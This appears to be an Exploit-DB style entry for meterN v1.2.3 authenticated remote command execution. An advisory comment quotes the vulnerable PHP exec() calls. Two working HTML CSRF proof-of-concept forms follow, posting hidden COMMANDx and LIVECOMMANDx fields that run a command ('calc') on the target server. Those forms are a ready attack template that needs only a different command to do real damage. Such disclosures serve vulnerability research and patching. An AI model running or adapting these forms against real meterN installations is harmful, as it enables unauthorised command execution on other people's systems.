90f7e494d6
9 changes to exploits/shellcodes Laravel Valet 2.0.3 - Local Privilege Escalation (macOS) Microsoft Internet Explorer / ActiveX Control - Security Bypass Apache Log4j2 2.14.1 - Information Disclosure Apache Log4j 2 - Remote Code Execution (RCE) WordPress Plugin Typebot 1.4.3 - Stored Cross Site Scripting (XSS) (Authenticated) Booked Scheduler 2.7.5 - Remote Command Execution (RCE) (Authenticated) Zucchetti Axess CLOKI Access Control 1.64 - Cross Site Request Forgery (CSRF) meterN v1.2.3 - Remote Code Execution (RCE) (Authenticated) Online Thesis Archiving System 1.0 - SQLi Authentication Bypass
121 lines
No EOL
4.4 KiB
Text
121 lines
No EOL
4.4 KiB
Text
# Exploit Title: meterN v1.2.3 - Remote Code Execution (RCE) (Authenticated)
|
|
# Date: 18/11/2021
|
|
# Exploit Author: LiquidWorm
|
|
# Vendor Homepage: https://www.metern.org
|
|
|
|
<!--
|
|
|
|
meterN v1.2.3 Authenticated Remote Command Execution Vulnerability
|
|
|
|
|
|
Vendor: Jean-Marc Louviaux
|
|
Product web page: https://www.metern.org
|
|
Affected version: 1.2.3 and 0.8.3.2
|
|
|
|
|
|
Summary: meterN is a set of PHP/JS files that make a -Home energy metering & monitoring- solution.
|
|
It accept any meters like : electrical, water, gas, fuel consumption, solar, Wind energy production
|
|
and so on. Sensors such as temperature or humidity are also accepted. The philosophy is: To keep it
|
|
simple, fast, with a low foot print to run on cheap and low powered devices.
|
|
|
|
Desc: The application suffers from an authenticated OS command execution vulnerability. This can be
|
|
exploited to execute arbitrary commands through the 'COMMANDx' and 'LIVECOMMANDx' POST parameters in
|
|
admin_meter2.php and admin_indicator2.php scripts. The application interface allows users to perform
|
|
these actions through HTTP requests without performing any validity checks to verify the requests.
|
|
This CSRF can be exploited to perform actions with administrative privileges if a logged-in user
|
|
visits a malicious web site.
|
|
|
|
---------------------------------------------------------------------------------------------------
|
|
/admin/admin_meter2.php:
|
|
------------------------
|
|
|
|
69: if (!empty($_POST['COMMANDx']) && is_string($_POST['COMMANDx'])) {
|
|
70: $COMMANDx = htmlspecialchars($_POST['COMMANDx'], ENT_QUOTES, 'UTF-8');
|
|
71: } else {
|
|
72: $COMMANDx = '';
|
|
73: }
|
|
...
|
|
...
|
|
108: if (!empty($_POST['LIVECOMMANDx']) && is_string($_POST['LIVECOMMANDx'])) {
|
|
109: $LIVECOMMANDx = htmlspecialchars($_POST['LIVECOMMANDx'], ENT_QUOTES, 'UTF-8');
|
|
110: } else {
|
|
111: $LIVECOMMANDx = '';
|
|
112: }
|
|
...
|
|
...
|
|
271: exec("$COMMANDx 2>&1", $datareturn);
|
|
...
|
|
...
|
|
303: exec("$LIVECOMMANDx 2>&1", $datareturn);
|
|
|
|
---------------------------------------------------------------------------------------------------
|
|
|
|
Tested on: Apache/2.4.10 (Raspbian)
|
|
Apache/2.4.46 (Win64)
|
|
Linux 4.9.67-v7+ GNU/Linux (armv7l)
|
|
Microsoft Windows 10 Home (10.0.19042 Build 19042)
|
|
PHP/7.2.33
|
|
|
|
|
|
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
|
|
@zeroscience
|
|
|
|
|
|
Advisory ID: ZSL-2021-5690
|
|
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5690.php
|
|
|
|
|
|
18.11.2021
|
|
|
|
-->
|
|
|
|
|
|
PoC #1:
|
|
-------
|
|
|
|
<html>
|
|
<body>
|
|
<form action="http://localhost/metern/admin/admin_indicator2.php" method="POST">
|
|
<input type="hidden" name="NUMINDx" value="1" />
|
|
<input type="hidden" name="INDNAMEx1" value="test" />
|
|
<input type="hidden" name="IDx1" value="1" />
|
|
<input type="hidden" name="COMMANDx1" value="calc" />
|
|
<input type="hidden" name="bntsubmit1" value="Test command" />
|
|
<input type="hidden" name="UNITx1" value="" />
|
|
<input type="submit" value="Incongruity" />
|
|
</form>
|
|
</body>
|
|
</html>
|
|
|
|
|
|
PoC #2:
|
|
-------
|
|
|
|
<html>
|
|
<body>
|
|
<form action="http://localhost/metern/admin/admin_meter2.php" method="POST">
|
|
<input type="hidden" name="METNAMEx" value="Conso" />
|
|
<input type="hidden" name="COLORx" value="962629" />
|
|
<input type="hidden" name="TYPEx" value="Elect" />
|
|
<input type="hidden" name="PRODx" value="2" />
|
|
<input type="hidden" name="PHASEx" value="1" />
|
|
<input type="hidden" name="SKIPMONITORINGx" value="" />
|
|
<input type="hidden" name="IDx" value="elect" />
|
|
<input type="hidden" name="COMMANDx" value="houseenergy -energy" />
|
|
<input type="hidden" name="PASSOx" value="100000" />
|
|
<input type="hidden" name="PRICEx" value="0.23" />
|
|
<input type="hidden" name="LIDx" value="elect" />
|
|
<input type="hidden" name="LIVECOMMANDx" value="calc" />
|
|
<input type="hidden" name="bntsubmit" value="Test live command" />
|
|
<input type="hidden" name="EMAILx" value="" />
|
|
<input type="hidden" name="WARNCONSODx" value="15000" />
|
|
<input type="hidden" name="NORESPMx" value="true" />
|
|
<input type="hidden" name="POAKEYx" value="" />
|
|
<input type="hidden" name="POUKEYx" value="" />
|
|
<input type="hidden" name="TLGRTOKx" value="" />
|
|
<input type="hidden" name="TLGRCIDx" value="" />
|
|
<input type="hidden" name="met_numx" value="1" />
|
|
<input type="submit" value="Incongruity" />
|
|
</form>
|
|
</body>
|
|
</html> |